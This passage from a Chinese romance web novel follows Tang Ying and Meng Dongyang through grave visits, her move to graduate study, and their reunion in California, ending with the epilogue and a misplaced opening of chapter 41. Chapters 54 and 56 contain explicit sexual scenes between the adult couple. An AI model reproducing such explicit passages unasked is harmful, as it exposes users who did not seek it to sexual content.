“我不喜欢跪着。”她指的是她跪在前面,下面要留空间给他,肩膀还要被他硬生生往后掰直的那种样子。 孟冬杨挑了下眉毛,“你当时怎么不说?” “我说了,你听不见。” 孟冬杨靠近镜面看自己的眼睛,“你知道两年没有性生活,对一个正值壮年的男人来说意味着什么吗?有些功能是会退化的。” “谬论!” “我当你是在夸奖我。”他看着镜子里的唐盈,“我眼角的皱纹好像消失了。” 唐盈露出鄙夷的眼神。 去墓园之前,唐盈问孟冬杨,要不要去顺路看看唐臻。如果要去,他们需要多买两束鲜花。 几年过去,这个话题仍不轻松。 孟冬杨答话之前,唐盈已经低头在挑选白色的郁金香了。 她说:“我跟你一起去。” 经历了爸爸的离开后,唐盈对死亡和别离有了更深的感悟。 站在昔日孟冬杨的角度,站在大哥大嫂的角度,她对唐臻的离去有了更多的思考。 逝者为大是一句过于宽泛的话。她想要释怀孟冬杨和唐臻的旧情,不需要依靠这句话来进行自我说服。 是啊,她怎么能喜欢孟冬杨呢。 可是,她喜欢孟冬杨这件事,是她自己要过的关卡。她只用跟自己斗争就好了。 面对着唐臻的墓碑,看着身边的这个男人,唐盈心里有非常坚固的东西在沉淀。 这是成长带来的感触。 有酸涩,有煎熬,有焦虑,有困惑,但最终留下的,是勇敢,是责任,是真诚,是爱。 唐盈再也不是曾经的那个小唐盈了。 【作者有话说】 明天双更~ 第54章 现在就要 彭芳对着老唐的遗照念叨, 说清明节在霓城陪汐汐补课,没能回来看他,让他莫怪。 说完想去清理四周的杂草, 发现周围干干净净,她问唐盈:“清明你一个人来的?” 唐盈说大哥大嫂也来了。 彭文君边放供品,嘴里碎碎念着:“蒸糕、大肉包,你最喜欢吃的, 都是妈亲手做的。” 唐盈把茅台拿出来打开, 酒倒在小酒杯里, 放在墓碑前, 吐槽道:“规矩真多,这算不算是浪费食物。” 彭芳敲了唐盈的脑袋一下,“浪费你不也每个月都来嘛,家里的好酒都快被你孝敬光了。” 唐盈蹙眉,“这么多好吃的,真是便宜了附近的老鼠了。” 老唐喜欢喝酒, 喜欢抽烟, 唐盈每个月来都给他倒酒点烟。 她知道这是对活人的慰藉,可是不带点什么来, 不留下点什么陪着爸爸,她心里会很空。 有一回她还带了她的草稿纸来烧给老唐,她问老唐她怎么越活越小了, 每天写的作业比自己的学生还要多。 爸爸走后,她时常回忆自己小时候的事情,有一天她怎么也想不起来老唐年轻时的样子, 跑回旧家去翻老相册, 发现老唐年轻的时候还挺帅, 她对着照片红了眼睛。 她从前对老唐很少有好脸色,尤其是青春期的时候,不是对他横眉就是对他冷眼。她从来没觉得爸爸帅过。 从小到大,她起码没收过爸爸一百包烟。老唐抽烟喝酒的时候,她总是会吓唬他,说烟酒过量会短命。 她恨自己那时候管的太宽还喜欢胡说八道。 孟冬杨跪在地上给老唐烧纸。 他心里敬老唐是长辈,但要是抛开跟唐盈的这层关系,老唐过去跟他的相处,更像是忘年交的朋友。 老唐豁达、睿智、洒脱、风趣,跟他在一块儿,孟冬杨的心情总是很开阔。 有一回他们俩一起去钓鱼,老唐试探他对唐盈的心意,他表态他是认真的,老唐笑笑,说既然认真,就不要把唐盈当成一条鱼或者是一个物件,不要对她有任何捕鱼的心态。 老唐说唐盈是个慢热的人,她慢,他就不能太快,他必须要有耐心,耐心等待唐盈主动朝他靠近。 老唐最在乎的就是唐盈这个女儿。他出事之前还在烦闷孟冬杨要去美国的事情,担心两个人会因为异地而分开。 孟冬杨知道他心里是责怪自己的。他很遗憾,没能在老唐清醒的时候好好跟他交交心。 要做的事情都做完后,唐盈请妈妈和姐姐先走一步,她说她有话要跟爸爸说。 彭芳笑她好啰嗦,每次来都要跟老唐倒豆子,老唐在地下估计都嫌她烦嫌她吵。 只剩下自己跟孟冬杨后,唐盈摸了摸墓碑上老唐的照片,轻声对他说道:“我跟孟冬杨还在一起呢,你放心吧,你给我挑的人,我会好好珍惜的。” 这话让孟冬杨听得眼睛一热,他张了张口,想说点什么,发现自己十分不擅长做这种事。 唐盈拉住他的手,“我替你表过态了,他都知道。” 下台阶的时候,唐盈眺望着远处的风景,对孟冬杨指了指匍匐在他们脚下的这座小城,“看,一览无余。” 她问道:“当初你爸爸让你来青阳招标,你心里应该是很不情愿的吧。” 人生地不熟,他当时的确有种被发配的感觉。孟冬杨淡笑一下,“所以认识你之后,我特别想交你这个朋友。” 唐盈努努嘴,“交我这个朋友你可没得到任何好处,我们家的事一件连一件的,我处处都在麻烦你。” 孟冬杨感叹道:“当初的唐老师太客气了。” 他现在回想起她拒人于千里之外的样子,心仍会怦怦跳。他嘴上嫌她捂不热,心里却爱她的清醒和克制。 唐盈说:“一见钟情这种事不会发生在我身上。” 孟冬杨揶揄她:“你当时有未婚夫,你怎么对我一见钟情?” “你又来了。” “那如果当时你是单身,你看得上我吗?” 唐盈的语气过于果断,“你不是我的理想型。” 孟冬杨梗住,又被她给气着了。他脸色不悦地问她:“那你是什么时候心里有我的?” 唐盈被问住了。她也不知道。 他们先去了墓地才回家,彭芳这才知晓,这几个月她不在青阳,她这个一心向学的小女儿竟然把这个新家糟蹋成这幅鬼样子了。 家里的绿植死的死烂的烂,连最好养的绿萝都停止了生长。阳台和厨房满是浮灰,油瓶里的油,过年时还剩多少,现在仍然有多少。 彭文君伸手触了触茶几上的灰尘,问唐盈:“你平时坐过沙发吗?” 唐盈摇了摇头。 “你自己一个人都是怎么吃饭的?” 唐盈说中午在单位吃,晚上随便应付一口,周末点外卖。 彭芳打开冰箱,她过年时包的饺子馄饨,蒸的肉包,炸的丸子,倒是都被她吃完了。 她叉腰数落唐盈:“你是心思都在学习上,还是心思不在生活上?你这样我怎么放心你一个人在家。” 唐盈听得心里好烦,“我都二十七了,我知道怎么照顾好自己。最近就是太忙了嘛,往后不忙了,我肯定能把日子过好。” “小孟把房子给你弄得这么漂亮,你要珍惜啊。” “哎呀我知道了。” 三位女士在开唐盈的批斗大会,孟冬杨悄无声息地踏进了唐盈的书房。 家里最乱的就是这个地方了,桌面上摆着大堆的复习书、考题和草稿纸。 精算是数学、统计学和金融的交叉学科,一部分跟高阶数学有关的东西她需要重新捡起来,还有一大部分她必须重头学起。 孟冬杨抽出两张唐盈的验算笔记,上面有线性代数、数理统计,还有他看不太懂的一些金融风险模型。 专业不相通,唐盈从来不跟孟冬杨进行学习上的交流。孟冬杨大概知道她要看哪些书和资料,发过一些邮件给她,她会接收,但没有反馈。 孟冬杨坐在她的椅子上,从乱书堆里抽出一本英语书,打开第一页,上面写着一个“L”。 这是路晨借给她的复习笔记。 路晨是逻辑严谨的医学生,有一套非常科学的学习方法,他的英语也很好。 他在复习方面给唐盈提供了最实际最有效的帮助。 通过他清秀俊逸且十分工整的字迹,孟冬杨判断这家伙多少算是个学霸。 他往后翻了几页,无意中看到一处语法错误,正想把书本合上,看见唐盈在旁边的标签贴上进行了订正。 唐老师实在是看的认真。 孟冬杨懒得再看,把书本合上,起身想去唐盈的书柜看看,一抬脚,发现侧面的抽屉开了一半,视线落过去,一眼便看见里面放着的烟盒和打火机。 他拿起烟盒掀开盒盖,里面只剩下五支。 他把烟盒塞进了衣服口袋里。 彭芳和彭文君打扫卫生的时候,唐盈懒怠地躺在了沙发上。 孟冬杨想去帮忙,被彭芳阻止。彭芳让他跟唐盈去趟超市,添一些生活用品,再买点菜。 唐盈不想动,彭芳瞪了她一眼,孟冬杨强行把她拖出门。 进了电梯后,孟冬杨拍了拍唐盈的背,“一下子松弦了,人就懒了,是吧。” “什么啊,就是昨晚累的啊。”唐盈打了个哈欠,“我一个人生活的好好的,我妈一回来就各种挑刺。” 孟冬杨表情严肃:“除了煮泡面,一顿饭也没认真给自己做过,这叫生活的好好的?” “我妈说我,你也说我。”唐盈轻哼一声,“吃饭很重要吗?填饱肚子不就可以了吗?” “吃饭要是不重要的话,你妈为什么这么多年从不亏待你的嘴?” 唐盈说一个人吃饭没意思,她叹了口气,“家里从四个人变成三个人再变成两个人,现在,就只剩下我一个人了。我实在找不到吃饭的乐趣。” 除了吃饭,生活的乐趣也不复存在。 孟冬杨没享受过家庭的温馨和热闹,但他在唐盈家吃过很多次饭,他感受过鲜活的烟火气,他能明白唐盈心里的落差。 他说:“我多陪你一段时间吧,陪你等到考试结果出来。” 唐盈拒绝,“你不是还想早点退休嘛,事业上升期,别懈怠。” 孟冬杨拉住她的手,“这是你的真心话吗?” “当然了,我们不是早就达成共识了嘛。” “那你对以后是怎么规划的?” “有书读就读,能去上海,就离你又近了一点。”唐盈耸耸肩膀,“我暂时也没有经济压力了,上上学,到处玩一玩,日子很有盼头。” “你开心吗?” “挺开心的。” “不要骗我。” “我不骗你。” 晚上苏洋洋来家里吃饭,带了个小蛋糕来。 梅馨的两家店去年陆续关门,这两年青阳开了好多家不错的甜品店。 唐盈打开蛋糕盒一看,是巧克力的,对孟冬杨挑了挑眉毛。 苏洋洋啧嘴道:“你们俩真是能吃到一块儿去。” 苏洋洋只在老唐去世的那段日子里见过孟冬杨,不曾跟他深交。印象中唐盈的这个男朋友神神秘秘。 今天同桌吃饭,近距离观察,发现这个男人也没有想象中那么不接地气。 彭芳悄咪咪地问苏洋洋:“你觉得唐盈跟她对象般配吗?” 苏洋洋说只要唐盈喜欢,那就般配,又说:“比那什么贱……谷瑞安好太多了。” “那跟路医生比呢?” “啊……”苏洋洋抿了抿唇,“不是同一个类型的吧,不好作比较。阿姨,你是不是不喜欢孟冬杨?” 彭芳摆摆脑袋,“不是不喜欢,就是担心唐盈跟他走不到一块儿去。” “让唐盈自己把握呗。”苏洋洋笑笑,“路医生要是想追唐盈,这两年早就追了。他跟唐盈,可能就是缘分差了点,谁让唐盈先认识孟冬杨了呢。” 唐盈收拾了一袋路晨借给她的书,托苏洋洋明天上班转交给他。 苏洋洋开她玩笑道:“现在这么避嫌啊,面都不见了。” “我们本来也很少见面啊。” “要是没有孟冬杨,你会不会喜欢路晨?” “喜欢一个人哪有那么容易。”唐盈不喜欢去假设。 苏洋洋对她笑笑:“你选了谁,谁就是最好的。” 唐盈认可这句话,但路晨从来不是她的选项。 有过考虑,才可以成为选择。她对路晨,从来就没有考虑过。 她决定跟谁在一起,会一直对这个人忠诚且坚定,除非对方背叛和爱消除。 在这个过程中,再好再合适的人出现,她也不会多看一眼。 彭芳和彭文君回旧家去住,把空间留给唐盈和孟冬杨。 临走时,彭芳对孟冬杨说,这里也是他的家,要他不要有做客的心态。 孟冬杨问唐盈这话是什么意思。 唐盈说:“意思就是让你多干活,别犯懒。” 他又问:“你的好朋友对我评价怎么样?” 唐盈说挺好的。 孟冬杨若有所思地看着她。 夜深了,唐盈去洗澡。 冲完头上的泡沫后,她转过身看向玻璃外,吓了一跳。 孟冬杨不知道什么时候进来了。 他穿着居家的衣服,倚在盥洗台上,手里拿着一根细支烟,定定地注视着洗澡的唐盈。 他的神态被水雾遮挡着,唐盈用手掌推开玻璃上的雾气,下意识地捂住胸口,发现他的眸色又沉又暗,不懂他又在作什么妖,索性把胳膊放下,往玻璃前走了一步,让身体贴在了上面。 红色的两朵被白色的肌肤压在玻璃上,视觉冲击之下,孟冬杨的身体里激荡起黑色的火焰。他按下打火机,把手中的这支烟点燃。 唐盈这才看清他手里拿着的是她抽屉里的那盒烟,她神色淡定,对孟冬杨勾了勾手指。 孟冬杨不为所动。 唐盈继续去清洗身体,脖子和腋下都铺满泡沫后,她用水流把玻璃上刚聚起的雾气冲开,托住胸,开始揉搓。 又转过身,把其他饱满的地方对着外面。 笔直修长的腿晃来晃去。 孟冬杨把烟熄灭,脱掉了上衣。 他正要走进去,唐盈关了水,对他盈盈一笑:“我洗好了。” 是“我洗好了”,也是“你迟到了”。 唐盈把浴巾递给孟冬杨,“帮我擦。” 孟冬杨把撑开的浴巾罩在了唐盈的脑袋上,手伸了进去。 捏了一会儿后,才耐心地帮她擦拭。 刚洗干净的肌肤略带些清爽的涩感,不够柔滑。孟冬杨把身体乳挤在掌心,一点点帮她涂抹。 涂到柔软的地方手指一定会停留。 唐盈看着孟冬杨的嘴唇。 她的眼神直勾勾的,孟冬杨识趣地问:“你想要我做什么?” “我累了,我的腿站不住、张不开,也抬不起来了。”唐盈把毛巾铺在盥洗台上,坐了上去,“烟是我姐过年时偷偷在我书房里抽的,不是我的,我讨厌你审判我的眼神,你给我道歉。” 孟冬杨的肩膀被往下按。 唐盈把湿了一半的浴巾扔到他脚边。 “先吹干头发。” “不,现在就要。” 唐盈分开了膝盖。 孟冬杨的膝盖贴在了地板上。 唇舌撑开了一个空间。 唐盈从不遮掩自己的欲望。两年前对这段关系最迷茫的时候,她在孟冬杨的身体上投掷自己最大的热忱。 如果言语表达需要克制,那身体表达就要尽兴。 爱和欲应该共生才对。 孟冬杨喜欢甜蜜的东西,舌头舔舐奶油的时候,感官会放大,内心深处的苦闷会短暂得到消解。 唐盈带给他的味觉体验,太像他十岁生日时的那一块巧克力蛋糕。 她有微苦的特质和柔软的内心,甜度永远恰到好处。 贪食的气息像火焰一样攀爬,快要把唐盈身体里的黑洞烧焦。 她分不清是谁在绞着谁,手掌快要撑不住时,孟冬杨的手又捧了过来。 一只手要顾及到两边,力量会失控。 孟冬杨想起她在玻璃门里迎着水流的那一幕,拉住她的手腕,让她自己动手。 就在唐盈想要更多的时候,那个时刻突然就到来了。 密闭的空间里,她无所顾虑地发出声音。 孟冬杨把唐盈抱了下来,担心她着凉,用她的睡衣裹紧她,想带她去卧室里吹头发。 唐盈抓住他,“那你怎么办?” 孟冬杨推开她的手,“昨晚过量了,今天你开心了就好。” 吹头发的时候,唐盈对孟冬杨说:“那时候你没教会我抽烟,我也懒得自学。” 孟冬杨并不是觉得她不能抽烟,而是希望她烦闷的时刻可以找他倾诉。 他说:“我会尽快结束手头的工作回来陪你。” “我要去上学的,你陪我做什么。” “我也可以回来工作。” “你太小看我了。”唐盈倚在孟冬杨的身上,“我虽然没有好好吃饭,偶尔也会有点孤单,但是我的动力很足。我正一步一步往外走,你要是回来了,我就走不动了。” “我收回那句让你陪我去美国生活的话。” 唐盈微微错愕,抬头看着孟冬杨的眼睛,“你怎么了?” 孟冬杨温柔地说:“是我离不开你,放不下你,我为什么要对你提要求呢。” 唐盈露出两颗梨涡,“可是我还是会去看看你读书工作生活的地方,等我看完全了,我们再讨论未来吧。” 【作者有话说】 算我双更合一吧么么哒 第55章 看世界 孟冬杨在出差途中收到唐盈被录取的好消息, 他问自己是不是第一个收到这个消息的人。 唐盈说因为时差的关系,他是第四个。 孟冬杨发来语音:千万别告诉我路晨在前三。你半夜三点发来消息我也会看。 他的语气冷幽幽的,唐盈懒得回复。 同事Ives问孟冬杨, 长时间跟女朋友异国,会不会影响感情。 孟冬杨自嘲道:“我的女朋友没那么在乎我。” “那为什么还要在一起?” 孟冬杨改口道:“我的意思是她没那么粘人。我们习惯这种相处模式了,我们感情很好。” Ives说他一天也不愿意跟自己的妻子分开。 孟冬杨心想,谁不是呢。 唐盈请路晨和苏洋洋吃饭, 三人举杯庆祝唐盈即将重返校园生活。 路晨送给唐盈一个可动人体模型当礼物, 苏洋洋问是什么寓意, 路晨说希望唐盈把这个模型摆在她的书桌上, 这样可以提醒自己要保重身体。 唐盈打算把这个模型带去学校。 吃完饭后,三个人去青阳的一条老街上溜达散步。 苏洋洋问唐盈:“那你以后应该只有逢年过年才会回来了吧。” 唐盈点点头。 “你会去美国吗?” 唐盈也不知道未来会怎样,她会先好好读完这几年书。 街上开了新的奶茶店,好多年轻人在排队凑热闹。 唐盈看见穿他们高中校服的学生,想起方静钰和徐屹南要在五一办婚礼,问苏洋洋有没有收到请柬。 苏洋洋说她跟方静钰不熟。 “你要去参加婚礼?” “是呢。” 当初方静钰还属意唐盈做伴娘, 后来大家疏远, 这事就不再被提起。 说到婚礼,苏洋洋说自己正被家里人催婚, 她爸妈说她吵着不嫁人,他们愁得连觉都睡不着。 路晨开玩笑道:“今天半夜两点,你冲进他们卧室里看看他们睡着了没。” 苏洋洋和唐盈被逗得哈哈大笑。 “路医生, 你被催了吗?” 路晨摇头,“他们催不动就懒得催了。” “唐盈,你妈催你了吗?” 唐盈也摇头, 笑道:“她跟我姐都是高贵的离婚人士, 才懒得催我呢。” 从街头走到街尾, 热闹声渐渐消退。 苏洋洋去洗手间,唐盈和路晨站在一道拱桥上等她。旁边有小孩在往人工河里扔石头,路晨也捡了一把碎石子扔着玩。 他一边扔着,用最不经意的语气对唐盈说:“我喜欢你,你是知道的吧。” “啊?”唐盈并不惊讶,只是觉得他说这句话有点突然。 路晨看向她略显紧张的脸,“告诉你,只是觉得这个时机正好。你跟你男朋友关系稳定,前途一片光明,你就把我这份心意当成是一份祝福吧。希望我的表白能让你更自信。” 唐盈一直觉得路晨是个很有智慧的人,这种智慧是一种与生俱来的天赋。他这套举重若轻的生活法则,能使他不管身处何地,是得到还是失去,都保有一份豁达自若的心性。 他这种天赋是唐盈很羡慕的一种本领。 路晨递给唐盈手里最大的一个石头,让她往最远的地方扔。 唐盈用力全力把石头扔远,“谢谢你,路医生。” 路晨耸一下肩膀,他还是喜欢听她叫他的名字。 唐盈去参加婚礼,到了现场,先去跟大哥大嫂打照面。 唐久安问唐盈什么时候辞职,唐盈说就这阵子了。 薛晓慧感叹道:“那以后见面的机会就少了。” 唐盈说只要她回青阳,就一定会去家里看望他们夫妻俩。 “你跟冬杨还好吧。”不等唐盈回答,唐久安又说,“也好几年了,看得出来他对你是真心的。” 唐盈淡笑一下,没有接话。 旁边有亲戚来叫薛晓慧去帮忙,她顾不上再跟唐盈说话,匆匆离去。唐久安和唐盈也不再有别的话说,沉默地站了会儿后便散开了。 孟冬杨问唐盈参加婚礼的心情如何,唐盈说现场还是蛮温馨的,但也会有尴尬的时刻。比如新郎新娘在真情告白的时候,台下有百分之八十的人都在专注吃席。 “幸福是不需要向他人宣告的。”唐盈正对着手机屏幕涂脸,她摸到自己的眼角,凑近去看,问孟冬杨:“我是不是也长细纹了?” “是,你老了,你好好保养吧。” “你特别希望我老的快吧!” “……”孟冬杨知道她这话是什么意思,又被她给气到了,“视频的时候你是不是都在看你自己?” 视频结束不久,孟冬杨收到唐盈发来的几十张照片,手机震得他脑袋疼。 他点开一看,是几十张他们视频时的截图,唐盈抓住了他的几十个笑脸。 被她关注,他心里竟然有点感动。 他问她:暑假来不来找我? 唐盈已经列好了暑假计划,她要先带彭芳去云贵川玩一圈,然后和苏洋洋去巴黎。 孟冬杨正想问她出国的第一站为什么不去美国,而是去法国。 唐盈对他说:你第一次出国旅行就是去巴黎。我要去看看。 她觉得会法语的苏洋洋会是很好的翻译。 结束教师生涯的第一天,唐盈无比空虚地在家躺了一整天。晚上同事们在群里插科打诨,她忽然有点伤感。 她离开了一个岗位,失去了一份稳定的工作,脱离了一个稳固的交际圈,也会渐渐淡化和一些同事之间的情谊。 她要接着往前走了,要步入人生的下一个阶段,结识新的朋友,迎接新的挑战。 她永远都不会忘记自己第一次走上讲台时的那份紧张心情。那时的她以为自己的职业生涯会在讲台上落幕。 彼时二十三岁的小唐老师一定意想不到,五年后,她不仅没有结婚没有生子,她还要离开这座小城,去更大的世界冒险。 那个世界,正是她填高考志愿之前,也曾做过的短暂遥远的梦。 八月在法国各地打卡时,唐盈顺路去了趟尼斯,去看望杨梦真。见到杨梦真之后,她才告诉孟冬杨这件事。 孟冬杨在视频里有些不知所措。 唐盈把镜头对着他两年前画的那幅小岛,说自己在上面添了几笔,问他看没看出来。 孟冬杨看见礁石上开出了几朵白色的小花。 这幅画一直放在画架上。杨梦真见唐盈完成了最后一笔,把画布从画框上拆下来,卷进画轴,要唐盈带回去裱起来挂在家里。 唐盈问孟冬杨:“是挂在你家里还是我家里?” 杨梦真笑道:“他的家就是你的家,你的家也是他的家。” 黑色的礁石原本不会开花,但是岛屿需要生机。 杨梦真说,唐盈就是孟冬杨心脏上开出来的一朵花。 孟冬杨问唐盈为什么要去看望杨梦真。唐盈说因为这是他最亲的人。 多了解杨梦真,也就能多了解孟冬杨。这个男人对她的家里人好,她没有理由不去回馈这一份爱屋及乌。 秋季开学后,唐盈回归到学习状态。啃完自己的专业,闲下来的时候,她也会去看一看孟冬杨的专业书。 她研究了一些他专业上的经典案例,例如奥巴马竞选和冰桶挑战,再跟他聊天的时候,有了更多的话题跟他分享。 除了这些,她最上心的就是学英语。 孟冬杨结束外派,回到洛杉矶总部后,在圣塔莫尼卡买了一套房子。他不确定未来会不会长留美国,购买有多重考虑,不全是为了定居。 唐盈渐渐地习惯了上海的生活。周末和小长假她时常去各地旅行,国内热门城市去了十来个,发现自己最喜欢上海。 寒假里,她去了孟冬杨曾经独自去过的新西兰,在他曾经到过的地方,摆出同样的姿势拍照留念。 次年五一,她去了冰岛。非常巧,出海观鲸的那一天,她遇到了孟冬杨当时偶遇的船员。 从对自己的口语非常没自信,出国得依靠语言好的朋友,到自己一个人旅行一个人看世界,唐盈用了十个月的时间完成了升级。 从冰岛回来后,她申请了去美国的签证。她想,这也许是她独自出发的最后一站。 暑假彭芳带着汐汐和弟弟回了青阳。 唐盈在家里收拾行李,弟弟突然钻进她的行李箱,说自己也要去美国。 彭芳要弟弟别捣乱,说小姨是去看小姨夫的。 弟弟问:“小姨要结婚了吗?” 唐盈说还早着呢,她学都没上完呢。 汐汐叹气:“怎么快三十岁了还要上学啊。” “二十八二十八二十八!”唐盈猛捏汐汐的小脸。 晚上家附近的商场有儿童表演秀,彭芳想去打一场麻将,让唐盈带着两个小孩去看。 到了现场,唐盈被挤得难受,拖着俩娃坐在广场上吃冰激凌。 汐汐说有蚊子咬她,一直抓自己的小腿,唐盈正低头去检查她的皮肤,有人递了一支止痒药膏过来。 唐盈一抬头,是谷瑞安。 谷瑞安一个人带着儿子出来玩。小孩儿讲话已经很清楚了,他问爸爸这是谁。 谷瑞安让他叫唐盈阿姨。 “阿姨好。” “你好。”唐盈低头帮汐汐挠她的蚊子包。 “能聊聊吗?”谷瑞安问唐盈。 唐盈跟他没有任何话好说,正想拒绝,谷瑞安把泡泡机递给他儿子,让他跟哥哥姐姐去喷泉那边玩。 谷瑞安开口说道:“梅馨的生意做得不如意,她去外地了。现在我们分开了。” 唐盈实在是不想听,偏过头,继续吃手里的冰激凌。 谷瑞安坐在唐盈旁边的空位上,看着喷泉的方向,缓声说道:“去年就听说你考上研究生了,没机会道一声恭喜。前阵子高中同学聚会,大家说到你,都说你的变化很大……” “我去看看小孩。”唐盈起身离开。 “唐盈,对不起。”谷瑞安叫住唐盈,“我一直欠你一句对不起……” 唐盈淡淡地抬头看着天空。 “我……”谷瑞安很想对她说,他早就发现自己根本不爱梅馨,话到嘴边却没能开口。 唐盈心里在想,蜻蜓低飞,快要下雨了。想着想着,就直接走了。 晚上跟孟冬杨视频,唐盈说她今天偶遇谷瑞安了。 孟冬杨挑一下眉头,“然后呢?” 唐盈说:“恍如隔世。” 孟冬杨正欲接话,唐盈问他:“我妈说我是丢了芝麻,捡到了金子。你是金子吗?” “没有自己夸自己的,你觉得我是我就是。” 唐盈笑起来,“你比金子贵多了。”《 》 第56章【尾声】 第56章 尾声 她的岛 唐盈举高手臂对来接机的孟冬杨挥手, 孟冬杨看见了她手腕上戴着的小红花手链。 心里对自己说要克制,唐盈靠近后,孟冬杨却一把将她抱了起来。放下她后, 他先亲吻她耳边的头发,而后才贴住她的唇瓣。 “想我了吗?”男人的声音微微有些沙哑。 唐盈的心跳有些快,踮脚搂住孟冬杨的脖子,“这次陪你久一点。” 孟冬杨在新家的后院修建了泳池, 唐盈来, 这个泳池第一次启用。为此他事先做了好几天的准备工作。 下水后唐盈怀疑起这个人的用意, 正打量四周, 孟冬杨的手覆了上来。 唐盈的脖子和后背被反复亲吻,更隐秘的动作藏进了水里。 小半年不见,故作矜持的人会被贴上虚伪的标签。 唐盈趴在泳池边缘听水里的动静,咬住了孟冬杨伸过来的手指。 撞得厉害的时候,孟冬杨的脑子里一直出现第一次在游泳馆里见到唐盈的画面。 那天她穿着蓝色的泳衣,像一条孤独的小鱼。几年过后, 她终于游到他身边, 跟他合二为一。 湿漉漉地回到室内后,来不及擦拭身体, 双双倒在地毯上。 孟冬杨仰视唐盈的脸,轻轻地捧住,看她自由地晃来晃去。 他的女朋友真是永远年轻。 唐盈用过度劳累的方式解决了时差问题。 第二天早上醒来, 一睁开眼,看见孟冬杨撑着脑袋注视着她。他的目光格外痴缠,这副样子实在太不像他。 她抚摸他眼角并不明显的细纹, 揉捏他的耳垂, “你是几点醒的?” 孟冬杨摇了摇头。 “你看了我多久了?” 这个他也不知道。 “我的脸肿吗?” 孟冬杨细细品鉴道:“你好像又长开了。” “什么叫长开了?成熟了?” “一种感觉。”孟冬杨啄一下她的眼睛, “你的眼睛好亮,像星星。是因为这个,你爸妈才给你取名叫星星吗?” 唐盈说这个小名是姐姐给她取的,爸妈把取小名的权力给姐姐,是希望姐姐能更爱这个妹妹。六岁的小文君说希望妹妹像星星一样闪亮。 孟冬杨觉得这名字取得真好,她的光芒越来越耀眼。 唐盈问他:“你有小名吗?” 孟冬杨努努嘴。 “杨杨?”印象中,杨梦真好像这么叫过。 孟冬杨别开脸,“起床吧,吃完早餐我们去骑车。” “骑车?太累了吧!我不要。” 孟冬杨把唐盈从床上抱了起来,把她放在洗手间的盥洗池上。 唐盈侧过脸去照镜子,看见锁骨上留下了几个印子,她用脚尖踢孟冬杨的腿,“喂!” 孟冬杨把挤好牙膏的牙刷递给她,“你以为你下嘴很轻吗?这些东西我都是跟你学的。” 唐盈脸一热,“这是本能,你装什么啊。” “这是你们小年轻喜欢玩的东西。” “我快三十了。” “二十八岁半。”孟冬杨沉着脸看她。 唐盈站在特洛伊铜像前拍照,一脸严肃,她说自己在模仿孟冬杨毕业照上的神态。 孟冬杨一路上都在被她调侃。回想自己的学生时代,他的确长期处在一种阴郁而深沉的状态里。 唐盈问他:“你的专业也是你爸爸给你挑的吗?” 孟冬杨点点头。 从小到大,孟云钦给他提供了顶尖的教育环境,让他享受着最优质的学习氛围,他几乎没有资格说不。 他对唐盈说,自己是被推着长大的,他身上镀的这层金是由他人堆砌,而非他自我生长而成。他能走到这所学校,只是因为他比其他人拥有了更多的资源。 “能利用好资源也是一种能力,不学无术走不到这里来。”唐盈挽住孟冬杨的胳膊,“你第一桶金是怎么赚到的?” 孟冬杨说:“运气。” 2010年左右,他在房东太太听的股市新闻里听见了美联储推动了量化宽松政策,于是用他卡里的五万美金购入了科技小盘股。那几年美股上涨,他的五万美金在一年内翻了六七倍。 唐盈啧嘴道:“机遇面前,还是得先有本金啊。” 孟冬杨笑道:“你现在整天研究投资模型,股票也是看的吧,应该比我要内行多了。” 唐盈说:“那些数字对我来说很冰冷,但是精算确实非常讲逻辑,精准又踏实,还能预估风险,所以越学越有意思。” 她问:“你喜欢你的专业吗?” 孟冬杨说不清,他一直都把事业当成是赚钱的工具,不过参与了这么多案子,从专业性上来说,他的确在从事一份融合了人文、情理与社会学的工作,他从中受益良多。 他们走到多希尼图书馆门口,孟冬杨问唐盈最近在看什么书。 唐盈刚刚看完《米德尔马契》,她非常喜欢多萝西娅,她喋喋不休地分享着自己的心得。 这是她在孟冬杨过去的书单里挑选的书,孟冬杨内心有些许得意。 想起书里的利德盖特,那个怀揣着科学理想却被社会吞噬的小镇医生,孟冬杨顺势问道:“路晨是你的理想型吗?” 唐盈怔住,八竿子打不着的人,他怎么这也能联想到。 她说:“你这个人太记仇了。”她一句他不是她的理想型,他记了好久好久。 “他是,对吧。”孟冬杨的眼神有些许哀怨,但很快他就无所谓地耸耸肩膀,“没关系,我原谅你了。” 唐盈抱着胳膊审视他:“那我是你的理想型吗?应该也不是吧。为什么我可以不去在乎这些东西呢。” “因为你心大,因为你不像我爱你这样爱我。” “我……” “我从来没有过理想型这种概念……” “孟冬杨,你刚刚说你爱我。” 两个人的眼神绊住,孟冬杨沉下心思,又郑重其事地重复了一遍,“我爱你,我当然爱你。” “我也爱你。”唐盈踮脚亲了男人的脸颊一下,“我当然也爱你。” 孟冬杨偏过头笑了。 唐盈认真道:“我选谁,谁就是我的理想型。知道了吗?” “好,我知道了。” 唐盈在加州过完了暑假。 她见了几个孟冬杨的老同学和跟他关系要好的同事,吃了他以前常吃的餐厅,看了他喜欢的剧目,参观了他本科时期居住的公寓。 她从孟冬杨的书柜里找到了卡卡以前的玩具,在他学校的纪念册里翻到了他十年前的留言,知晓了他昔日的梦想。 孟冬杨在她心里越来越具体。 圣塔莫尼卡的夏天比想象中还要灿烂。 临走前,唐盈突然问孟冬杨:“要不要跟我回国?” “现在?” “不,是未来。”唐盈轻轻地倚靠在他的胸膛上,“我以为你在美国有割舍不下的朋友,有游刃有余的交际圈,有锐意进取的事业,但实际上你的生活比我想象中孤独,所以你才一直期盼着我来陪你。既然是这样,我能对你提要求吗?你能不能跟着我走,去我喜欢的城市,陪在我身边。我们去同一个小岛上感受世界吧,我保证,我会让我们的岛屿开满鲜花。你必须跟我在一起,我想这一生都跟你在一起。” 唐盈说这些话的时候,她的声音像柔软的海浪一样席卷着孟冬杨的心脏。 从小城之冬走到圣塔之夏,四年过年,他终于等来了这一声他心心念念的邀请。 她邀请他跟她永不分离。 这是他听过的最动听的话语。 他当然愿意。 他们会一起建造一座世界上最美好的岛屿- 正文完- 【作者有话说】 正文完,感谢阅读~《 》 40-50 第41章 平行的线 孟云钦早起下楼, 看见通往花园的门开着。他走过去,被眼前的场面吓了一跳。 杨梦真用修剪花枝的剪刀剪掉了花园里所有盛开的花。花朵堆在她平时喝茶吃点心的小圆桌上,堆不下的掉落在了藤椅和地板上。 孟云钦没问她为什么突然回来了。 他走过去, 拿掉杨梦真手里的剪刀,叹息道:“海棠花好不容易开了,就这样剪掉了,不可惜吗?” 杨梦真没有回头看他, 挑了挑眉说:“我去找过周医生了。”说完从口袋里拿出一根录音笔。 孟云钦脸色一变。 